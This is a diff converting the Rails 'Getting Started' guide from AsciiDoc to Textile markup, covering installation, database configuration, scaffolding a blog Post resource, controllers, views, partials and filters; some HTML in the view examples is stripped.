+* "Representational State Transfer":http://en.wikipedia.org/wiki/Representational_State_Transfer article in Wikipedia
 
-== Creating a New Rails Project
+h3. Creating a New Rails Project
 
-If you follow this guide, you'll create a Rails project called +blog+, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.
+If you follow this guide, you’ll create a Rails project called blog, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.
 
-=== Installing Rails
+h4. Installing Rails
 
 In most cases, the easiest way to install Rails is to take advantage of RubyGems:
 
-[source, shell]
--------------------------------------------------------
+
 $ gem install rails
--------------------------------------------------------
+
 
-NOTE: There are some special circumstances in which you might want to use an alternate installation strategy:
+NOTE. There are some special circumstances in which you might want to use an alternate installation strategy:
 
-* If you're working on Windows, you may find it easier to install link:http://instantrails.rubyforge.org/wiki/wiki.pl[Instant Rails]. Be aware, though, that Instant Rails releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
-* If you want to keep up with cutting-edge changes to Rails, you'll want to clone the link:http://github.com/rails/rails/tree/master[Rails source code] from github. This is not recommended as an option for beginners, though.
+* If you’re working on Windows, you may find it easier to install Instant Rails. Be aware, though, that "Instant Rails":http://instantrails.rubyforge.org/wiki/wiki.pl releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows.
+* If you want to keep up with cutting-edge changes to Rails, you’ll want to clone the "Rails source code":http://github.com/rails/rails/tree/master from github. This is not recommended as an option for beginners, though.
 
-=== Creating the Blog Application
+h4. Creating the Blog Application
 
 Open a terminal, navigate to a folder where you have rights to create files, and type:
 
-[source, shell]
--------------------------------------------------------
+
 $ rails blog
--------------------------------------------------------
+
 
 This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead:
 
-[source, shell]
--------------------------------------------------------
+
 $ rails blog -d mysql
--------------------------------------------------------
+
 
-And if you're using PostgreSQL for data storage, run this command:
+And if you’re using PostgreSQL for data storage, run this command:
 
-[source, shell]
--------------------------------------------------------
+
 $ rails blog -d postgresql
--------------------------------------------------------
+
 
-TIP: You can see all of the switches that the Rails application builder accepts by running +rails -h+.
+TIP. You can see all of the switches that the Rails application builder accepts by running rails -h.
 
 After you create the blog application, switch to its folder to continue work directly in that application:
 
-[source, shell]
--------------------------------------------------------
+
 $ cd blog
--------------------------------------------------------
+
 
-In any case, Rails will create a folder in your working directory called +blog+. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the +app/+ folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default:
+In any case, Rails will create a folder in your working directory called blog. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the app/ folder, but here’s a basic rundown on the function of each folder that Rails creates in a new application by default:
 
-[options="header"]
-|==========================================================================================================
-|File/Folder |Purpose
-|+README+		|This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.
-|+Rakefile+	|This file contains batch jobs that can be run from the terminal.
-|+app/+		|Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.
-|+config/+		|Configure your application's runtime rules, routes, database, and more.
-|+db/+			|Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.
-|+doc/+		|In-depth documentation for your application.
-|+lib/+		|Extended modules for your application (not covered in this guide).
-|+log/+		|Application log files.
-|+public/+		|The only folder seen to the world as-is.  This is where your images, javascript, stylesheets (CSS), and other static files go.
-|+script/+		|Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.
-|+test/+		|Unit tests, fixtures, and other test apparatus. These are covered in link:../testing_rails_applications.html[Testing Rails Applications]
-|+tmp/+		|Temporary files
-|+vendor/+		|A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.
-|==========================================================================================================
+|_.File/Folder|_.Purpose|
+|README|This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.|
+|Rakefile|This file contains batch jobs that can be run from the terminal.|
+|app/|Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide.|
+|config/|Configure your application's runtime rules, routes, database, and more.|
+|db/|Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.|
+|doc/|In-depth documentation for your application.|
+|lib/|Extended modules for your application (not covered in this guide).|
+|log/|Application log files.|
+|public/|The only folder seen to the world as-is.  This is where your images, javascript, stylesheets (CSS), and other static files go.|
+|script/|Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server.|
+|test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing_rails_applications.html|
+|tmp/|Temporary files|
+|vendor/|A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.|
 
-=== Configuring a Database
+h4. Configuring a Database
 
 Just about every Rails application will interact with a database. The database to use is specified in a configuration file, +config/database.yml+.
 If you open this file in a new Rails application, you'll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default:
@@ -194,185 +187,170 @@ If you open this file in a new Rails application, you'll see a default database
 * The +test+ environment is used to run automated tests
 * The +production+ environment is used when you deploy your application for the world to use.
 
-==== Configuring a SQLite Database
+h5. Configuring a SQLite Database
 
-Rails comes with built-in support for link:http://www.sqlite.org/[SQLite], which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.
+Rails comes with built-in support for "SQLite":http://www.sqlite.org, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.
 
 Here's the section of the default configuration file with connection information for the development environment:
 
-[source, ruby]
--------------------------------------------------------
+
 development:
-  adapter: sqlite3
-  database: db/development.sqlite3
-  pool: 5
-  timeout: 5000
--------------------------------------------------------
+adapter: sqlite3
+database: db/development.sqlite3
+pool: 5
+timeout: 5000
+
 
 If you don't have any database set up, SQLite is the easiest to get installed. If you're on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems:
 
-[source, shell]
--------------------------------------------------------
+
 $ gem install sqlite3-ruby
--------------------------------------------------------
+
 
-==== Configuring a MySQL Database
+h5. Configuring a MySQL Database
 
 If you choose to use MySQL, your +config/database.yml+ will look a little different. Here's the development section:
 
-[source, ruby]
--------------------------------------------------------
+
 development:
-  adapter: mysql
-  encoding: utf8
-  database: blog_development
-  pool: 5
-  username: root
-  password:
-  socket: /tmp/mysql.sock
--------------------------------------------------------
+adapter: mysql
+encoding: utf8
+database: blog_development
+pool: 5
+username: root
+password:
+socket: /tmp/mysql.sock
+
+
 If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate.
 
-==== Configuring a PostgreSQL Database
+h5. Configuring a PostgreSQL Database
 
 If you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases:
 
-[source, ruby]
--------------------------------------------------------
+
 development:
-  adapter: postgresql
-  encoding: unicode
-  database: blog_development
-  pool: 5
-  username: blog
-  password:
--------------------------------------------------------
+adapter: postgresql
+encoding: unicode
+database: blog_development
+pool: 5
+username: blog
+password:
+
 
 Change the username and password in the +development+ section as appropriate.
 
-==== Creating the Database
+h4. Creating the Database
 
 Now that you have your database configured, it's time to have Rails create an empty database for you. You can do this by running a rake command:
 
-[source, shell]
--------------------------------------------------------
+
 $ rake db:create
--------------------------------------------------------
+
 
-NOTE: Rake is a general-purpose command-runner that Rails uses for many things. You can see the list of available rake commands in your application by running +rake -T+. 
+NOTE. Rake is a general-purpose command-runner that Rails uses for many things. You can see the list of available rake commands in your application by running +rake -T+.
 
-== Hello, Rails!
+h3. Hello, Rails!
 
 One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:
 
-[source, shell]
--------------------------------------------------------
+
 $ script/generate controller home index
--------------------------------------------------------
+
 
-TIP: If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails +script+ commands to Ruby: +ruby script/generate controller home index+.
+TIP. If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails +script+ commands to Ruby: +ruby script/generate controller home index+.
 
 Rails will create several files for you, including +app/views/home/index.html.erb+. This is the template that will be used to display the results of the +index+ action (method) in the +home+ controller. Open this file in your text editor and edit it to contain a single line of code:
 
-[source, html]
--------------------------------------------------------
+
 
Hello, Rails!

--------------------------------------------------------
+
 
-=== Starting up the Web Server
+h4. Starting up the Web Server
 
 You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command:
 
-[source, shell]
--------------------------------------------------------
+
 $ script/server
--------------------------------------------------------
+
 
 This will fire up an instance of the Mongrel web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to +http://localhost:3000+. You should see Rails' default information page:
 
-image:images/rails_welcome.png[Welcome Aboard screenshot]
+!images/rails_welcome.png(Welcome Aboard screenshot)!
 
-TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.
+TIP. To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.
 
 The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to +http://localhost:3000/home/index+.
 
-=== Setting the Application Home Page
+h4. Setting the Application Home Page
 
 You'd probably like to replace the "Welcome Aboard" page with your own application's home page. The first step to doing this is to delete the default page from your application:
 
-[source, shell]
--------------------------------------------------------
+
 $ rm public/index.html
--------------------------------------------------------
+
 
 Now, you have to tell Rails where your actual home page is located. Open the file +config/routes.rb+ in your editor. This is your application's, _routing file_, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you'll see the _default routes_:
 
-[source, ruby]
--------------------------------------------------------
+
 map.connect ':controller/:action/:id'
 map.connect ':controller/:action/:id.:format'
--------------------------------------------------------
+
 
 The default routes handle simple requests such as +/home/index+: Rails translates that into a call to the +index+ action in the +home+ controller. As another example, +/posts/edit/1+ would run the +edit+ action in the +posts+ controller with an +id+ of 1.
 
 To hook up your home page, you need to add another line to the routing file, above the default routes:
 
-[source, ruby]
--------------------------------------------------------
+
 map.root :controller => "home"
--------------------------------------------------------
+
 
 This line illustrates one tiny bit of the "convention over configuration" approach: if you don't specify an action, Rails assumes the +index+ action.
 
 Now if you navigate to +http://localhost:3000+ in your browser, you'll see the +home/index+ view.
 
-NOTE: For more information about routing, refer to link:../routing_outside_in.html[Rails Routing from the Outside In].
+NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing_outside_in.html.
 
-== Getting Up and Running Quickly With Scaffolding
+h3. Getting Up and Running Quickly With Scaffolding
 
-Rails _scaffolding_ is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job. 
+Rails _scaffolding_ is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.
 
-== Creating a Resource
+h3. Creating a Resource
 
 In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:
 
-[source, shell]
--------------------------------------------------------
+
 $ script/generate scaffold Post name:string title:string content:text
--------------------------------------------------------
+
 
-NOTE: While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.
+NOTE. While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.
 
 The scaffold generator will build 14 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:
 
-[options="header"]
-|==========================================================================================================
-|File                                          |Purpose
-|app/models/post.rb                            |The Post model
-|db/migrate/20090113124235_create_posts.rb     |Migration to create the posts table in your database (your name will include a different timestamp)
-|app/views/posts/index.html.erb                |A view to display an index of all posts 
-|app/views/posts/show.html.erb                 |A view to display a single post
-|app/views/posts/new.html.erb                  |A view to create a new post
-|app/views/posts/edit.html.erb                 |A view to edit an existing post
-|app/views/layouts/posts.html.erb              |A view to control the overall look and feel of the other posts views
-|public/stylesheets/scaffold.css               |Cascading style sheet to make the scaffolded views look better
-|app/controllers/posts_controller.rb           |The Posts controller
-|test/functional/posts_controller_test.rb      |Functional testing harness for the posts controller
-|app/helpers/posts_helper.rb                   |Helper functions to be used from the posts views
-|config/routes.rb                              |Edited to include routing information for posts
-|test/fixtures/posts.yml                       |Dummy posts for use in testing
-|test/unit/post_test.rb                        |Unit testing harness for the posts model
-|test/unit/helpers/posts_helper_test.rb        |Unit testing harness for the posts helper
-|==========================================================================================================
+|_.File                                        |_.Purpose|
+|app/models/post.rb                            |The Post model|
+|db/migrate/20090113124235_create_posts.rb     |Migration to create the posts table in your database (your name will include a different timestamp)|
+|app/views/posts/index.html.erb                |A view to display an index of all posts |
+|app/views/posts/show.html.erb                 |A view to display a single post|
+|app/views/posts/new.html.erb                  |A view to create a new post|
+|app/views/posts/edit.html.erb                 |A view to edit an existing post|
+|app/views/layouts/posts.html.erb              |A view to control the overall look and feel of the other posts views|
+|public/stylesheets/scaffold.css               |Cascading style sheet to make the scaffolded views look better|
+|app/controllers/posts_controller.rb           |The Posts controller|
+|test/functional/posts_controller_test.rb      |Functional testing harness for the posts controller|
+|app/helpers/posts_helper.rb                   |Helper functions to be used from the posts views|
+|config/routes.rb                              |Edited to include routing information for posts|
+|test/fixtures/posts.yml                       |Dummy posts for use in testing|
+|test/unit/post_test.rb                        |Unit testing harness for the posts model|
+|test/unit/helpers/posts_helper_test.rb        |Unit testing harness for the posts helper|
 
-=== Running a Migration
+h4. Running a Migration
 
 One of the products of the +script/generate scaffold+ command is a _database migration_. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created.
 
 If you look in the +db/migrate/20090113124235_create_posts.rb+ file (remember, yours will have a slightly different name), here's what you'll find:
 
-[source, ruby]
--------------------------------------------------------
+
 class CreatePosts < ActiveRecord::Migration
   def self.up
     create_table :posts do |t|
@@ -388,107 +366,99 @@ class CreatePosts < ActiveRecord::Migration
     drop_table :posts
   end
 end
--------------------------------------------------------
+
 
-If you were to translate that into words, it says something like: when this migration is run, create a table named +posts+ with two string columns (+name+ and +title+) and a text column (+content+), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the link:../migrations.html[Rails Database Migrations] guide.
+If you were to translate that into words, it says something like: when this migration is run, create a table named +posts+ with two string columns (+name+ and +title+) and a text column (+content+), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the "Rails Database Migrations":migrations.html guide.
 
 At this point, you can use a rake command to run the migration:
 
-[source, shell]
--------------------------------------------------------
+
 $ rake db:migrate
--------------------------------------------------------
+
 
 Remember, you can't run migrations before running +rake db:create+ to create your database, as we covered earlier.
 
 NOTE: Because you're working in the development environment by default, this command will apply to the database defined in the +development+ section of your +config/database.yml+ file.
 
-=== Adding a Link
+h4. Adding a Link
 
 To hook the posts up to the home page you've already created, you can add a link to the home page. Open +/app/views/home/index.html.erb+ and modify it as follows:
 
-[source, ruby]
--------------------------------------------------------
+
 
Hello, Rails!

-
 <%= link_to "My Blog", posts_path %>
--------------------------------------------------------
+
 
 The +link_to+ method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.
 
-=== Working with Posts in the Browser
+h4. Working with Posts in the Browser
 
 Now you're ready to start working with posts. To do that, navigate to +http://localhost:3000+ and then click the "My Blog" link:
 
-image:images/posts_index.png[Posts Index screenshot]
+!images/posts_index.png(Posts Index screenshot)!
 
 This is the result of Rails rendering the +index+ view of your posts. There aren't currently any posts in the database, but if you click the +New Post+ link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single +script/generate scaffold+ command.
 
-TIP: In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.
+TIP. In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.
 
 Congratulations, you're riding the rails! Now it's time to see how it all works.
 
-=== The Model
+h4. The Model
 
 The model file, +app/models/post.rb+ is about as simple as it can get:
 
-[source, ruby]
--------------------------------------------------------
+
 class Post < ActiveRecord::Base
 end
--------------------------------------------------------
+
 
 There isn't much to this file - but note that the +Post+ class inherits from +ActiveRecord::Base+. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.
 
-=== Adding Some Validation
+h4. Adding Some Validation
 
 Rails includes methods to help you validate the data that you send to models. Open the +app/models/post.rb+ file and edit it:
 
-[source, ruby]
--------------------------------------------------------
+
 class Post < ActiveRecord::Base
   validates_presence_of :name, :title
   validates_length_of :title, :minimum => 5
 end
--------------------------------------------------------
+
 
 These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.
 
-=== Using the Console
+h4. Using the Console
 
 To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:
 
-[source, shell]
--------------------------------------------------------
+
 $ script/console
--------------------------------------------------------
+
 
 After the console loads, you can use it to work with your application's models:
 
-[source, shell]
--------------------------------------------------------
+
 >> p = Post.create(:content => "A new post")
-=> # #
 >> p.save
 => false
 >> p.errors
-=> #, 
-@errors={"name"=>["can't be blank"], "title"=>["can't be blank", 
+=> #,
+@errors={"name"=>["can't be blank"], "title"=>["can't be blank",
 "is too short (minimum is 5 characters)"]}>
--------------------------------------------------------
+
 
 This code shows creating a new +Post+ instance, attempting to save it and getting +false+ for a return value (indicating that the save failed), and inspecting the +errors+ of the post.
 
 TIP: Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes to your models while the console is open, type +reload!+ at the console prompt to load them.
 
-=== Listing All Posts
+h4. Listing All Posts
 
 The easiest place to start looking at functionality is with the code that lists all posts. Open the file +app/controllers/posts_controller.rb + and look at the +index+ action:
 
-[source, ruby]
--------------------------------------------------------
+
 def index
   @posts = Post.find(:all)
 
@@ -497,16 +467,15 @@ def index
     format.xml  { render :xml => @posts }
   end
 end
--------------------------------------------------------
+
 
 This code sets the +@posts+ instance variable to an array of all posts in the database. +Post.find(:all)+ or +Post.all+ calls the +Post+ model to return all of the posts that are currently in the database, with no limiting conditions.
 
-TIP: For more information on finding records with Active Record, see link:../finders.html[Active Record Finders].
+TIP: For more information on finding records with Active Record, see "Active Record Finders":finders.html.
 
 The +respond_to+ block handles both HTML and XML calls to this action. If you browse to +http://localhost:3000/posts.xml+, you'll see all of the posts in XML format. The HTML format looks for a view in +app/views/posts/+ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's +app/view/posts/index.html.erb+:
 
-[source, ruby]
--------------------------------------------------------
+
 
Listing posts

 
 
@@ -523,7 +492,8 @@ The +respond_to+ block handles both HTML and XML calls to this action. If you br
     
-    
+    
 <% end %>
 
<%=h post.content %>
     <%= link_to 'Show', post %>
     <%= link_to 'Edit', edit_post_path(post) %><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %><%= link_to 'Destroy', post, :confirm => 'Are you sure?',
+            :method => :delete %>
   

@@ -531,7 +501,7 @@ The +respond_to+ block handles both HTML and XML calls to this action. If you br
 

 
 <%= link_to 'New post', new_post_path %>
--------------------------------------------------------
+
 
 This view iterates over the contents of the +@posts+ array to display content and links. A few things to note in the view:
 
@@ -539,20 +509,20 @@ This view iterates over the contents of the +@posts+ array to display content an
 * +link_to+ builds a hyperlink to a particular destination
 * +edit_post_path+ is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes.
 
-TIP: For more details on the rendering process, see link:../layouts_and_rendering.html[Layouts and Rendering in Rails].
+TIP. For more details on the rendering process, see "Layouts and Rendering in Rails":layouts_and_rendering.html.
 
-=== Customizing the Layout
+h4. Customizing the Layout
 
 The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of +layouts+, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. The +script/generate scaffold+ command automatically created a default layout, +app/views/layouts/posts.html.erb+, for the posts. Open this layout in your editor and modify the +body+ tag:
 
-[source, ruby]
--------------------------------------------------------
+
 
 
 
 
-  
+  
   Posts: <%= controller.action_name %>
   <%= stylesheet_link_tag 'scaffold' %>
 
@@ -564,16 +534,15 @@ The view is only part of the story of how HTML is displayed in your web browser.
 
 
 
--------------------------------------------------------
+
 
 Now when you refresh the +/posts+ page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts.
 
-=== Creating New Posts
+h4. Creating New Posts
 
 Creating a new post involves two actions. The first is the +new+ action, which instantiates an empty +Post+ object:
 
-[source, ruby]
--------------------------------------------------------
+
 def new
   @post = Post.new
 
@@ -582,12 +551,11 @@ def new
     format.xml  { render :xml => @post }
   end
 end
--------------------------------------------------------
+
 
 The +new.html.erb+ view displays this empty Post to the user:
 
-[source, ruby]
--------------------------------------------------------
+
 
New post

 
 <% form_for(@post) do |f| %>
@@ -611,7 +579,7 @@ The +new.html.erb+ view displays this empty Post to the user:
 <% end %>
 
 <%= link_to 'Back', posts_path %>
--------------------------------------------------------
+
 
 The +form_for+ block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, +f.text_field :name+ tells Rails to create a text input on the form, and to hook it up to the +name+ attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case +name+, +title+, and +content+). Rails uses +form_for+ in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.
 
@@ -619,8 +587,7 @@ TIP: If you need to create an HTML form that displays arbitrary fields, not tied
 
 When the user clicks the +Create+ button on this form, the browser will send information back to the +create+ method of the controller (Rails knows to call the +create+ method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier):
 
-[source, ruby]
--------------------------------------------------------
+
 def create
   @post = Post.new(params[:post])
 
@@ -628,25 +595,26 @@ def create
     if @post.save
       flash[:notice] = 'Post was successfully created.'
       format.html { redirect_to(@post) }
-      format.xml  { render :xml => @post, :status => :created, :location => @post }
+      format.xml  { render :xml => @post, :status => :created,
+	                :location => @post }
     else
       format.html { render :action => "new" }
-      format.xml  { render :xml => @post.errors, :status => :unprocessable_entity }
+      format.xml  { render :xml => @post.errors,
+	                :status => :unprocessable_entity }
     end
   end
 end
--------------------------------------------------------
+
 
 The +create+ action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the +params+ hash. After saving the new post, it uses +flash[:notice]+ to create an informational message for the user, and redirects to the show action for the post. If there's any problem, the +create+ action just shows the +new+ view a second time, with any error messages.
 
 Rails provides the +flash+ hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request.  In the case of +create+, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the +show+ action, they are presented with a message saying "Post was successfully created."
 
-=== Showing an Individual Post
+h4. Showing an Individual Post
 
 When you click the +show+ link for a post on the index page, it will bring you to a URL like +http://localhost:3000/posts/1+. Rails interprets this as a call to the +show+ action for the resource, and passes in +1+ as the +:id+ parameter. Here's the +show+ action:
 
-[source, ruby]
--------------------------------------------------------
+
 def show
   @post = Post.find(params[:id])
 
@@ -655,12 +623,11 @@ def show
     format.xml  { render :xml => @post }
   end
 end
--------------------------------------------------------
+
 
 The +show+ action uses +Post.find+ to search for a single record in the database by its id value. After finding the record, Rails displays it by using +show.html.erb+:
 
-[source, ruby]
--------------------------------------------------------
+
 

   Name:
   <%=h @post.name %>
@@ -679,23 +646,21 @@ The +show+ action uses +Post.find+ to search for a single record in the database
 
 <%= link_to 'Edit', edit_post_path(@post) %> |
 <%= link_to 'Back', posts_path %>
--------------------------------------------------------
+
 
-=== Editing Posts
+h4. Editing Posts
 
 Like creating a new post, editing a post is a two-part process. The first step is a request to +edit_post_path(@post)+ with a particular post. This calls the +edit+ action in the controller:
 
-[source, ruby]
--------------------------------------------------------
+
 def edit
   @post = Post.find(params[:id])
 end
--------------------------------------------------------
+
 
 After finding the requested post, Rails uses the +edit.html.erb+ view to display it:
 
-[source, ruby]
--------------------------------------------------------
+
 
Editing post

 
 <% form_for(@post) do |f| %>
@@ -720,12 +685,11 @@ After finding the requested post, Rails uses the +edit.html.erb+ view to display
 
 <%= link_to 'Show', @post %> |
 <%= link_to 'Back', posts_path %>
--------------------------------------------------------
+
 
 Submitting the form created by this view will invoke the +update+ action within the controller:
 
-[source, ruby]
--------------------------------------------------------
+
 def update
   @post = Post.find(params[:id])
 
@@ -736,22 +700,22 @@ def update
       format.xml  { head :ok }
     else
       format.html { render :action => "edit" }
-      format.xml  { render :xml => @post.errors, :status => :unprocessable_entity }
+      format.xml  { render :xml => @post.errors,
+	                :status => :unprocessable_entity }
     end
   end
 end
--------------------------------------------------------
+
 
 In the +update+ action, Rails first uses the +:id+ parameter passed back from the edit view to locate the database record that's being edited. The +update_attributes+ call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's +show+ view. If there are any problems, it's back to +edit+ to correct them.
 
-NOTE: Sharp-eyed readers will have noticed that the +form_for+ declaration is identical for the +new+ and +edit+ views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a _partial template_, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for +create+ and +edit+.
+NOTE. Sharp-eyed readers will have noticed that the +form_for+ declaration is identical for the +new+ and +edit+ views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a _partial template_, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for +create+ and +edit+.
 
-=== Destroying a Post
+h4. Destroying a Post
 
 Finally, clicking one of the +destroy+ links sends the associated id to the +destroy+ action:
 
-[source, ruby]
--------------------------------------------------------
+
 def destroy
   @post = Post.find(params[:id])
   @post.destroy
@@ -761,45 +725,42 @@ def destroy
     format.xml  { head :ok }
   end
 end
--------------------------------------------------------
+
 
 The +destroy+ method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model.
 
-== DRYing up the Code
+h3. DRYing up the Code
 
 At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use _partials_ to clean up duplication in views and _filters_ to help with duplication in controllers.
 
-=== Using Partials to Eliminate View Duplication
+h4. Using Partials to Eliminate View Duplication
 
 As you saw earlier, the scaffold-generated views for the +new+ and +edit+ actions are largely identical. You can pull the shared code out into a partial template. This requires editing the new and edit views, and adding a new template. The new +_form.html.erb+ template should be saved in the same +app/views/posts+ folder as the files from which it is being extracted. Note that the name of this file begins with an underscore; that's the Rails naming convention for partial templates.
 
-+new.html.erb+:
+new.html.erb:
 
-[source, ruby]
--------------------------------------------------------
+
 
New post

 
 <%= render :partial => "form" %>
 
 <%= link_to 'Back', posts_path %>
--------------------------------------------------------
+
 
-+edit.html.erb+:
+edit.html.erb:
 
-[source, ruby]
--------------------------------------------------------
+
 
Editing post

 
 <%= render :partial => "form" %>
 
 <%= link_to 'Show', @post %> |
 <%= link_to 'Back', posts_path %>
--------------------------------------------------------
+
 
-+_form.html.erb+:
+_form.html.erb:
 
-[source, ruby]
--------------------------------------------------------
+
 <% form_for(@post) do |f| %>
   <%= f.error_messages %>
 
@@ -819,23 +780,22 @@ As you saw earlier, the scaffold-generated views for the +new+ and +edit+ action
     <%= f.submit "Save" %>
   

 <% end %>
--------------------------------------------------------
+
 
 Now, when Rails renders the +new+ or +edit+ view, it will insert the +_form+ partial at the indicated point. Note the naming convention for partials: if you refer to a partial named +form+ inside of a view, the corresponding file is +_form.html.erb+, with a leading underscore.
 
-For more information on partials, refer to the link:../layouts_and_rendering.html[Layouts and Rending in Rails] guide.
+For more information on partials, refer to the "Layouts and Rending in Rails":layouts_and_rendering.html guide.
 
-=== Using Filters to Eliminate Controller Duplication
+h4. Using Filters to Eliminate Controller Duplication
 
 At this point, if you look at the controller for posts, you’ll see some duplication:
 
-[source, ruby]
--------------------------------------------------------
+
 class PostsController < ApplicationController
   # ...
   def show
     @post = Post.find(params[:id])
-	# ... 
+  # ...
   end
 
   def edit
@@ -852,17 +812,17 @@ class PostsController < ApplicationController
     # ...
   end
 end
--------------------------------------------------------
+
 
 Four instances of the exact same line of code doesn’t seem very DRY. Rails provides _filters_ as a way to address this sort of repeated code. In this case, you can DRY things up by using a +before_filter+:
 
-[source, ruby]
--------------------------------------------------------
+
 class PostsController < ApplicationController
-  before_filter :find_post, :only => [:show, :edit, :update, :destroy]
+  before_filter :find_post,
+    :only => [:show, :edit, :update, :destroy]
   # ...
   def show
-	# ... 
+  # ...
   end
 
   def edit
@@ -881,46 +841,44 @@ class PostsController < ApplicationController
       @post = Post.find(params[:id])
     end
 end
--------------------------------------------------------
+
 
